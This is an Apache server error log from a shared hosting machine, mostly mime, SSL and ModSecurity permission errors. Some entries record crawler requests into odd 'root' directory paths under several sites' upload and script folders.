[Fri Jul 17 08:07:49.110432 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:49.291545 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:49.473387 2026] [core:error] [pid 1993584:tid 1993584] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:51/subsystem/ttyS3/uartclk
[Fri Jul 17 08:07:49.564279 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:49.980213 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:33876] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:50.216956 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:50.854532 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:50.935604 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:50.946163 2026] [core:error] [pid 1994956:tid 1994956] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:42/subsystem/ttyS2/line
[Fri Jul 17 08:07:51.023705 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:51.318302 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:51.660660 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:51.751420 2026] [core:error] [pid 1999089:tid 1999089] (1)Operation not permitted: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/diskstats
[Fri Jul 17 08:07:52.042203 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:52.206761 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:52.298291 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:52.480195 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:43/subsystem/console/uevent"] [unique_id "almVgHRlmrtCoY_COpceQwAAAAg"]
[Fri Jul 17 08:07:52.480242 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:43/subsystem/console/uevent"] [unique_id "almVgHRlmrtCoY_COpceQwAAAAg"]
[Fri Jul 17 08:07:52.571272 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:52.753625 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:52.861261 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:52.935188 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:53.391122 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:53.481880 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:53.597806 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:53.683563 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:53.701703 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:38114] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:53.757172 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:53.938888 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:54.029480 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:54.121201 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:54.213569 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:54.503692 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:38154] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:54.504676 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:54.576365 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:55.031014 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:55.121709 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:55.300159 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:38196] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:55.303925 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:55.395208 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:67/subsystem/tty2/uevent"] [unique_id "almVg4l9vhFBGA6D8l9yjgAAAAw"]
[Fri Jul 17 08:07:55.395252 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:67/subsystem/tty2/uevent"] [unique_id "almVg4l9vhFBGA6D8l9yjgAAAAw"]
[Fri Jul 17 08:07:55.573736 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 57.141.18.51:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory133/node0/memory37/subsystem/devices/memory101/subsystem/devices/memory10/node0/cpu3/crash_notes
[Fri Jul 17 08:07:55.668252 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:55.773585 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:55.851978 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:56.033647 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:56.306694 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:56.397104 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:56.487698 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:56.659999 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:38242] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:56.750448 2026] [ssl:error] [pid 1994967:tid 1994967] (70014)End of file found: [client 66.85.158.91:38248] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:56.761824 2026] [core:error] [pid 1994446:tid 1994446] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu3/driver/unbind
[Fri Jul 17 08:07:56.989879 2026] [ssl:error] [pid 1999089:tid 1999089] (70014)End of file found: [client 66.85.158.91:38284] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:57.037126 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:57.224818 2026] [core:error] [pid 1993571:tid 1993571] (13)Permission denied: [client 114.119.157.236:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/public_html/js/Bl4ckhOle/root/usr/tmp/20250912-121516-aMPBfH2qAMKGJcwn-fYRjwAAAB0-file-SQUtzp, referer: http://www.anandaobauae.org/public_html/public_html/js/Bl4ckhOle/root/usr/tmp/?C=S%3BO%3DA
[Fri Jul 17 08:07:57.331015 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:57.400117 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:57.672337 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:57.754443 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:38322] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:07:57.947454 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:58.219537 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:58.674951 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:59.177804 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:59.724470 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:07:59.907046 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:00.797300 2026] [security2:error] [pid 1994966:tid 1994966] [client 57.141.18.27:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory22/subsystem/devices/memory78/node0/cpu3/subsystem/devices/cpu5/node0/memory59/subsystem/"] [unique_id "almViLyEqmgiTSUa55oEAwAAABA"]
[Fri Jul 17 08:08:00.797350 2026] [security2:error] [pid 1994966:tid 1994966] [client 57.141.18.27:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory22/subsystem/devices/memory78/node0/cpu3/subsystem/devices/cpu5/node0/memory59/subsystem/"] [unique_id "almViLyEqmgiTSUa55oEAwAAABA"]
[Fri Jul 17 08:08:01.090398 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:60/subsystem/ttyS3/uartclk
[Fri Jul 17 08:08:01.637984 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:02.099169 2026] [security2:error] [pid 1993573:tid 1993573] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "millenniumagro.lk"] [uri "/index.php"] [unique_id "almVcHt8zp89pALg8Q5hawAAAA4"]
[Fri Jul 17 08:08:02.099217 2026] [security2:error] [pid 1993573:tid 1993573] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "millenniumagro.lk"] [uri "/index.php"] [unique_id "almVcHt8zp89pALg8Q5hawAAAA4"]
[Fri Jul 17 08:08:02.420175 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:03.184485 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:03.366918 2026] [security2:error] [pid 1994956:tid 1994956] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty33/subsystem/tty40/dev"] [unique_id "almViwG5-NXx3Mem1QgKTgAAAA8"]
[Fri Jul 17 08:08:03.366950 2026] [security2:error] [pid 1994956:tid 1994956] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty33/subsystem/tty40/dev"] [unique_id "almViwG5-NXx3Mem1QgKTgAAAA8"]
[Fri Jul 17 08:08:04.187188 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:04.428314 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:35572] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:08:05.005455 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:05.095587 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:05.769152 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:05.824171 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:05.824239 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:05.824300 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:06.008481 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:06.325283 2026] [core:error] [pid 1993570:tid 1993570] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup7/device/subsystem/devices/device:21/eject
[Fri Jul 17 08:08:06.879132 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:06.943272 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:07.098367 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:07.283948 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/clocksource/devices/clocksource0/unbind_clocksource
[Fri Jul 17 08:08:07.371935 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:07.644763 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:07.763459 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:35770] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:08:08.283078 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:08.463855 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:08.554335 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:08.646541 2026] [core:error] [pid 1993998:tid 1993998] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup7/device/subsystem/drivers/button/bind
[Fri Jul 17 08:08:09.068080 2026] [security2:error] [pid 1994976:tid 1994976] [client 57.141.18.77:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/cwd/proc/thread-self/root/sys/bus/memory/devices/memory77/node0/memory129/node0/memory122/node0/memory18/"] [unique_id "almVkTRCJXF37-WnVv0eoAAAABI"]
[Fri Jul 17 08:08:09.068124 2026] [security2:error] [pid 1994976:tid 1994976] [client 57.141.18.77:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/cwd/proc/thread-self/root/sys/bus/memory/devices/memory77/node0/memory129/node0/memory122/node0/memory18/"] [unique_id "almVkTRCJXF37-WnVv0eoAAAABI"]
[Fri Jul 17 08:08:09.560992 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:09.829404 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:10.373907 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:10.920988 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup4/device/subsystem/devices/device:21/eject
[Fri Jul 17 08:08:11.101657 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:11.476402 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:12.931894 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:13.568510 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:13.659170 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:13.750281 2026] [core:error] [pid 1994966:tid 1994966] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/device:09/subsystem/drivers_probe
[Fri Jul 17 08:08:13.840880 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:13.932377 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:14.588349 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:15.299789 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:15.681582 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:15.752771 2026] [security2:error] [pid 1993604:tid 1993604] [client 57.141.18.25:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory89/subsystem/devices/memory118/subsystem/devices/memory114/node0/memory6/"] [unique_id "almVl4ha5y5fYnQ1qRrr2QAAAAE"]
[Fri Jul 17 08:08:15.752821 2026] [security2:error] [pid 1993604:tid 1993604] [client 57.141.18.25:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory89/subsystem/devices/memory118/subsystem/devices/memory114/node0/memory6/"] [unique_id "almVl4ha5y5fYnQ1qRrr2QAAAAE"]
[Fri Jul 17 08:08:16.409772 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:16.594788 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:16.699646 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:19.089380 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:19.475463 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:19.685316 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/device:01/subsystem/drivers_probe
[Fri Jul 17 08:08:19.784999 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:20.270542 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:20.270630 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:20.270655 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:20.922754 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:21.198613 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:22.234464 2026] [security2:error] [pid 1993604:tid 1993604] [client 203.189.185.106:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/img/log3.png"] [unique_id "almVnoha5y5fYnQ1qRrr4gAAAAE"], referer: https://www.epid.gov.lk/home
[Fri Jul 17 08:08:22.237403 2026] [security2:error] [pid 1993604:tid 1993604] [client 203.189.185.106:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/img/log3.png"] [unique_id "almVnoha5y5fYnQ1qRrr4gAAAAE"], referer: https://www.epid.gov.lk/home
[Fri Jul 17 08:08:22.777104 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:23.722153 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:24.314638 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:24.897001 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:25.271573 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:25.455217 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:26.035507 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:26.414159 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:26.870324 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:26.964349 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:27.502001 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:27.520217 2026] [security2:error] [pid 1996894:tid 1996894] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:49/subsystem/tty22/power/control"] [unique_id "almVo44Wmn5zySdNNkAgyQAAABM"]
[Fri Jul 17 08:08:27.520255 2026] [security2:error] [pid 1996894:tid 1996894] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:49/subsystem/tty22/power/control"] [unique_id "almVo44Wmn5zySdNNkAgyQAAABM"]
[Fri Jul 17 08:08:27.653971 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:27.714341 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:5/subsystem/tty8/power/runtime_status"] [unique_id "almVow5GPQ6hs4VrfMo6FQAAAAY"]
[Fri Jul 17 08:08:27.714371 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:5/subsystem/tty8/power/runtime_status"] [unique_id "almVow5GPQ6hs4VrfMo6FQAAAAY"]
[Fri Jul 17 08:08:28.186587 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:28.575312 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:28.794290 2026] [security2:error] [pid 1994956:tid 1994956] [client 203.189.185.106:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/rs-plugin/js/extensions/revolution.extension.actions.min.js"] [unique_id "almVpAG5-NXx3Mem1QgKbgAAAA8"], referer: https://www.epid.gov.lk/home
[Fri Jul 17 08:08:28.794333 2026] [security2:error] [pid 1994956:tid 1994956] [client 203.189.185.106:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/rs-plugin/js/extensions/revolution.extension.actions.min.js"] [unique_id "almVpAG5-NXx3Mem1QgKbgAAAA8"], referer: https://www.epid.gov.lk/home
[Fri Jul 17 08:08:29.251118 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:29.313608 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:29.357134 2026] [security2:error] [pid 1993671:tid 1993671] [client 203.189.185.106:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/storage/post/images/FETP_NAP_1.JPG"] [unique_id "almVpQ5GPQ6hs4VrfMo6GAAAAAY"], referer: https://www.epid.gov.lk/home
[Fri Jul 17 08:08:29.357164 2026] [security2:error] [pid 1993671:tid 1993671] [client 203.189.185.106:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/storage/post/images/FETP_NAP_1.JPG"] [unique_id "almVpQ5GPQ6hs4VrfMo6GAAAAAY"], referer: https://www.epid.gov.lk/home
[Fri Jul 17 08:08:29.563067 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:29.569099 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:29.611674 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:29.685182 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:29.818795 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:29.833770 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
